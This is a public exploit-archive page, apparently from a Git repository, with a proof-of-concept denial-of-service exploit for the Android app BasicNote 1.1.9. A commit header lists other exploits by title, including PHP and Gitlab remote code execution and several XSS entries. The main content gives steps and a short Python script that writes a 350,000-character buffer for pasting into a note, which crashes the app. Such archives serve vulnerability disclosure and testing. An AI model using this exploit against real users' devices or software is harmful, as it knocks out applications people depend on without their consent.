a9fa314bbf
14 changes to exploits/shellcodes BasicNote 1.1.9 - Denial of Service (PoC) ColorNote 4.1.9 - Denial of Service (PoC) Notepad notes 2.6.7 - Denial of Service (PoC) Blacknote 2.2.1 - Denial of Service (PoC) CHIYU IoT Devices - 'Telnet' Authentication Bypass PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution Seo Panel 4.8.0 - 'from_time' Reflected XSS CHIYU IoT Devices - Denial of Service (DoS) FUDForum 3.1.0 - 'srch' Reflected XSS FUDForum 3.1.0 - 'author' Reflected XSS Gitlab 13.9.3 - Remote Code Execution (Authenticated) 4Images 1.8 - 'redirect' Reflected XSS
35 lines
No EOL
1 KiB
Python
Executable file
35 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: BasicNote 1.1.9 - Denial of Service (PoC)
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# Date: 2021-06-02
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# Author: Brian Rodríguez
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# Download Link: https://play.google.com/store/apps/details?id=notizen.basic.notes.notas.note.notepad&hl=es_MX
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# Version: 1.1.9
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# Category: DoS (Android)
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##### Vulnerability #####
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BasicNote - Notas, Bloc de notas is vulnerable to a DoS condition when two long lists of characters are being used when creating a note:
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# STEPS #
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# Open the program
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# Create a new Note.
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# Run the python exploit script payload.py, it will create a new payload.txt file
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# Copy the content of the file "payload.txt"
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# Paste the content from payload.txt twice in the new Note.
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# Crashed
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Successful exploitation will causes application stop working.
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I have been able to test this exploit against Android 8.0.
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##### PoC #####
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#!/usr/bin/env python
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buffer = "\x41" * 350000
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try:
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f = open("payload.txt","w")
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f.write(buffer)
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f.close()
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print ("File created")
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except:
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print ("File cannot be created") |